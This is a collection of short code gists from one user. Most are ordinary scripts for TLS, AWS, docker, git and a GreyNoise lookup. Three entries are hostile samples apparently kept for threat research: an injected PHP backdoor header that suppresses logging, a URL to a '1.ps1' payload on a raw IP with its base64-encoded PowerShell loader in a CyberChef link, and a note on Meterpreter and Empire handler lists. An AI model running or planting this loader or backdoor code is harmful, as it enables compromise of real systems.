nl5887

<?php if(function_exists('error_reporting')){@error_reporting(0);}if(function_exists('ini_set')){@ini_set('error_reporting',0);@ini_set('error_log',NULL);@ini_set('log_errors',0);}$___=(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));if($___==="/usr/bin/phar.phar"){echo"<span style='display:none'>".md5('lohpidr')."</span>";exit(0);} 

nl5887

certificates, err := LoadCertificates("**.key", "**.crt")
if err != nil {
  log.Fatal("Error loading x509 cert", rz.Err(err), rz.Any("cert-file", tlsCert))
}

tlsConfig := &tls.Config{
  Certificates: certificates,
}

nl5887

#!/usr/bin/env bash
AWS_CLI="aws --region $AWS_REGION"

PRICE=0.2
USER_NAME=#USERNAME#
KEY_NAME=#KEY NAME#
SECURITY_GROUP_ID=#SECURITY GROUP#
SUBNET_ID=#SUBNET#
VOLUME_SIZE=40
INSTANCE_TYPE=t2.2xlarge

nl5887

export DATADIR=$(pwd)/tkiv-data/

for s in "pd1 pd2 pd3 tikv1 tikv2 tikv3"; do 
    docker stop $s
    docker rm $s
done

#ifconfig lo0 alias 192.168.1.101
#ifconfig lo0 alias 192.168.1.102
#ifconfig lo0 alias 192.168.1.103

nl5887

#!/bin/bash
set -e

DEST=$(mktemp -d)
SRC=$(pwd)

pushd .
cd $DEST; git clone  $SRC/.git . >/dev/null 2>&1

cd $SRC; git diff -P --cached | patch -p1 -d $DEST >/dev/null

nl5887

#!/bin/bash

DEST=$(mktemp -d)
SRC=$(pwd)

echo "Cloning $SRC into $DEST"

pushd .
cd $DEST
git clone $SRC/.git .

nl5887

function greynoise
     if test (count $argv) -eq 0
         echo "No arguments specified. Usage:\necho greynoise {ip}"
         return 1
     end

     set ip $argv[1]

     curl -s -XPOST -d "ip=$ip" 'http://api.greynoise.io:8888/v1/query/ip'|jq '.'
end

nl5887

This gist contains a list of verified Metasploit Meterpreter http(s) handlers and Powershell Empire http(s) listeners.

Servers could be malicious, or just part of a red teaming action.

Thanks to censys.io and Jose.

nl5887

http://172.97.69.129/1.ps1

[step 1](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Decode_text('UTF16LE%20(1200)')&input=SmdBb0FGc0Fjd0JqQUhJQWFRQndBSFFBWWdCc0FHOEFZd0JyQUYwQU9nQTZBR01BY2dCbEFHRUFkQUJsQUNnQUtBQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBU1FCUEFDNEFVd0IwQUhJQVpRQmhBRzBBVWdCbEFHRUFaQUJsQUhJQUtBQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBU1FCUEFDNEFRd0J2QUcwQWNBQnlBR1VBY3dCekFHa0Fid0J1QUM0QVJ3QjZBR2tBY0FCVEFIUUFjZ0JsQUdFQWJRQW9BQ2dBVGdCbEFIY0FMUUJQQUdJQWFnQmxBR01BZEFBZ0FFa0FUd0F1QUUwQVpRQnRBRzhBY2dCNUFGTUFkQUJ5QUdVQVlRQnRBQ2dBTEFCYkFFTUFid0J1QUhZQVpRQnlBSFFBWFFBNkFEb0FSZ0J5QUc4QWJRQkNBR0VBY3dCbEFEWUFOQUJUQUhRQWNnQnBBRzRBWndBb0FDY0FTQUEwQUhNQVNRQkJBRThBYVFCMEFGVUFSZ0J6QUVNQVFRQTNBRllBVndCaEFEUUFMd0JoQUZJQWFBQm1BQ3NBYmdCRkFHb0FOUUJFQURFQVlRQkdBR2dBUmdCRkFFb0FXUUJEQURZQU53QXlBRlVBYVFCV0FHRUFad0JOQURJQVNnQndBR2tBWWdBNEFGSUFhZ0JaQUhJQWNRQnlBRUlBU0FCMEFITUFSQUEwQURnQWRnQmhBSGNBTndCWUFIUUFaZ0FyQURnQWVBQnNBRElBVXdCeUFHSUFUZ0J5QUdzQWJBQldBRFFBVEFCcEFDOEFSd0JqQUhrQU5RQjZBSG9BYmdCSEFH

nl5887

Ghydra decompiler

This python script communicates with the Ghydra decompiler. Currently it succeeds in communicating, sending hardcoded opcodes and returning decompiled code.

Currently working on reversing the getPcodePacked command.

Next steps:

• implement exception handling
• implement callbacks
• allow decompilation of custom payloads